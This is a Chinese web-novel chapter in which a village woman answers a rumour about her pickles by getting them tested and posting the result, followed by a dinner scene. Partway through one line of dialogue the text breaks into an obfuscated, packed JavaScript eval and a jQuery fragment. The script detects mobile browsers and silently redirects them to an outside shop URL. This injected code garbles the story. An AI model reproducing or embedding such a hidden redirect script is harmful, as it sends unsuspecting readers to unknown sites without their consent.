刘金玉知道陈绍君的腌菜生意做起来了，眼红得不行。
她不甘心，想最后搏一次。她找到村里的几个长舌妇，散布谣言：“陈绍君那个腌菜，用的是烂菜叶子，不干净，吃了会拉肚子。”
谣言传得很快，有人开始怀疑陈绍君的腌菜质量。
……
春雨淅淅沥沥地下了一整天，村口的土路被泡得稀烂，牛车轱辘轧过去，碾出两道深深的车辙。天黑得早，各家屋檐底下都垂着的水帘子，滴滴答答地在青石板上砸出一排细密的凹坑。陈绍君从学校骑单车回来，尽管穿着雨衣，但布鞋依旧湿了半截。
她刚走到院门口，就看见王大娘站她家门口等她。
“你听说了没有？”王大娘压着嗓子，“刘金玉在村里头散你的话。”
陈绍君把院门推开，侧身让大娘进来。
“散什么？”她问。
“说你的腌菜用的是烂菜叶子，”王大娘跟进灶房，站在灶台边上，一脸着急，“说腌菜不干净，吃了要拉肚子。传得可快了，我今儿下午在供销社门口站了一会儿，听见两拨人都在说。”
灶房里光线暗，雨天的傍晚天黑得早，陈绍君划了根火柴点上煤油灯。火苗跳了两跳，在玻璃罩子里稳下来，橘黄的光铺开，把灶台、案板、墙上挂的干椒和蒜辫子都照出一个轮廓。案板上还晾着上午刚切好的萝卜块，白生生的，码得整整齐齐，水珠在表面上亮晶晶的。
陈绍君伸手翻了翻萝卜块，翻了两片，凑到鼻尖闻了闻。萝卜的气味是清冽的，微微带一点辛辣。
“知道了。谢谢你告诉我。”她把萝卜块重新码好，用干净的抹布擦了擦手。
王大娘等了一会儿，见她再没开口，着急了：“你不去跟人说清楚？就这么由着她们传？”
陈绍君把煤油灯捻亮了半圈，光更盛了些，把灶房角落那排酸菜缸照出来，缸沿上压着的青石被雨水洇湿了，泛着暗沉沉的釉光。
“不急着说。”她走到那排缸前头，蹲下去，把其中一口缸的青石挪了挪，又压回去，“我明天让许行简跑一趟县城，带两罐咸菜去检测站。”
王大娘愣了：“检测站？”
“对。让技术员检验一下，出个报告。”
王大娘转了两转才明白过来，眼睛亮了：“哎！这法子好！她们说你东西不干净，咱就让公家的人来验！”
陈绍君站起来，她立在那排缸前头，煤油灯的光从她背后照过来，把她的影子投在墙上，拉得长长的，盖住了那排缸的轮廓。窗外的雨声密了些，打在屋檐的瓦片上，噼噼啪啪，很响。
许行简第二天一大早就去了。他在自行车后座上绑着两罐腌菜，用旧报纸裹了三层，外面又罩了块塑料布。雨停了，但天还是阴的，云层也压得低低的。
检测站在镇上，一间平房，许行简把腌菜罐子抱进去的时候，值班的检测员正在看书。那是个五十来岁的中年人，鼻梁上架着一副眼镜。他接过罐子，拧开盖子闻了闻，又用干净筷子夹出一块腌萝卜对着窗户的光看了看。
“哪儿的腌菜？”他问。
“红旗村里做腌菜卖的。有人说吃了拉肚子，我想验一验。”
检测员没多问，把腌菜送到里间。许行简就坐在外头的长条凳上等着。屋里有一股淡淡的来苏水味儿，墙上贴着几张发黄的健康宣传画。许行简把两只手夹在膝盖中间坐着，盯着墙上的挂钟看，分针走了两格。
检测员出来时手里拿着一张表格，钢笔字写得潦草，但底下盖了红戳。
“没问题，”他把表格递给许行简，“菌落数在标准范围以内，亚硝酸盐含量也正常。这东西干净着。”
许行简把那张纸接过来，对折了塞进口袋里里。他骑车回去的时候，蹬得飞快，车轮碾过湿漉漉的路面，带起一串泥水。
陈绍君拿到了那张检验报告后直接去了村口。村口那棵老槐树底下有一面土墙，是村里贴公告的地方，上头还残留着去年征粮通知的纸角，被雨泡烂了，只剩下一小条泛白的纸纤维。陈绍君从包里拿出一张事先写好的告示，毛边纸上写着几行大字：“岁穗腌菜经县公社检测站检验合格，请乡亲们放心食用。如有质量问题，十倍赔偿。”
字是她自己写的，墨色浓黑，横平竖直，在有些发黄的纸面上显得格外醒目。
许行简帮她按着纸角，她把糨子抹匀了，一张一张地压平，四角都贴牢了。告示贴上去的时候，正好有几个从地里回来的庄稼人经过，扛着锄头、提着水壶，在土墙前面停了两步，歪着头看了看。有个识字的念了半句：“经公社检测站检验合格……”
后面的人凑上来，把告示从头到尾看了一遍。
陈绍君站在告示旁边，日光在告示纸面上折了一下，照在她脸上。
第二天，刘金玉站在告示前，脸色一阵青一阵白。有人看了她一眼，她转身就进了巷子，步子快得像后头有狗撵。
陈绍君没去找刘金玉。接下来几天，她照常上课，照常卖菜，照常在灶房里一坛一坛地倒缸、翻菜、尝味道。
王大娘问起刘金玉的事，她就笑笑，说：“不值当。”
傍晚，许行简来找她。他帮她修好灶房门上那扇合页松了的窗扇，拧完了最后一颗螺丝他，把钳子搁在窗台上。
两个人站在院子里，日头正落下去，把老树的影子拖得老长。
他开口：“你大伯刚来找我了。”
陈绍君正准备给菜缸盖油布，手停了一下：“找你干什么？”
“替她道歉。”许行简说，“说她不长眼，让你别跟她计较。”
陈绍君把油布拉平了，四角压实，拍了拍手上的灰。“你跟他说什么了？”
许行简站在她旁边，日落的余光把他半边脸照成暖橘色。他沉默了一会儿，说：“我说，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738875|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你没空计较她。”
陈绍君直起腰来看着他。他的表情平平的，但她忽然就笑了——这个人，嘴上不说什么，背地里把事儿都替她办了。
“许行简。”
“嗯？”
“明天去接陈昭宁，还记得不？”
“记得。”
“那再记一件事。明天你去镇上，帮我带两斤红糖回来。包饺子，我想试一个新馅儿。”
“行。”他说。
陈绍君转身往灶房走，走了两步，听见他在身后说：“你的告示，贴得挺好的。”
她没回头，但步子放慢了半步。
“嗯，我知道。”她说。
灶房灯亮了，橘黄的光从门框里漫出来，热乎乎地铺在院子里的青砖地上。
第二天，天擦黑的时候，东边的山脊还挂着一线灰蓝，被落日余烬从底下烘着，洇成薄薄一层紫。陈绍君里灶房的油灯已经点上了，火苗在玻璃罩子里蜷着，橘黄的光只有巴掌大的一团，勉强够照着灶台和那张小方桌。
陈绍君围着围裙在灶台前头转了一整个傍晚。鱼是许行简清早去河边捞的，二斤来沉的黑脊鲤鱼，鳞片在日光底下泛着青。她刮鳞、去鳃、剖腹，动作利索，刀沿着鱼脊骨一划到底，肉翻出来白生生的。锅里油热了，她把鱼滑进去，滋啦一声响，油花溅起来，香味一下子就蹿满了屋子。白菜炖粉条是慢活儿，粉条是入冬前拖王大娘压的，红薯粉，泡发了之后滑溜溜的半透明，跟白菜帮子一块儿在锅里咕嘟着，汤汁收得浓稠，泛着油亮的光。腌萝卜就是“穗岁”的招牌那款，切了薄片码在白瓷碟里，红椒丝缀在顶上，好看。最后一锅是野菜饺子，荠菜是陈绍君下午领着陈昭宁去田埂上挖的，焯了水挤干，跟剁碎的豆腐拌在一起，馅儿青绿青绿的，搁了盐和一点点香油，闻着就是春天的味儿。
灶膛里填着苞谷芯，火苗从灶口扑出来，把陈绍君的脸烤得红扑扑的。陈昭宁蹲在灶膛前头添柴，小辫子在脑袋两边翘着，往灶膛里塞柴的时候火光照得她眼珠子亮晶晶的。
“姐，饺子啥时候好？”
“再等一滚。”陈绍君拿锅铲轻轻推了推锅里的饺子，白胖的饺子在沸水里翻了个身，皮子鼓起来，透着里头荠菜的青影子。她用漏勺舀了一只起来，在凉水碗里涮了涮，掰开——馅儿熟透了，青绿绿的一团，香油的气味扑出来。陈昭宁凑过来闻了闻，吸了一下鼻子。
“端上桌。”陈绍君叮嘱陈昭宁。
菜一盘一盘地端上去。四道菜挤挤挨挨地摆在桌上，盘沿挨着盘沿，热气往上蹿着，在油灯的暖光里雾腾腾地滚成一团。陈绍君把筷子摆好，又把醋碟子搁在桌子正中间。
许行简看见桌上那桌菜，在门口站了一息，目光从鱼头挪到饺子盘，又从饺子盘挪到陈绍君脸上。
“快坐，吃饭了。”陈绍君把围裙解下来搭在椅背上，自己拉开凳子坐下。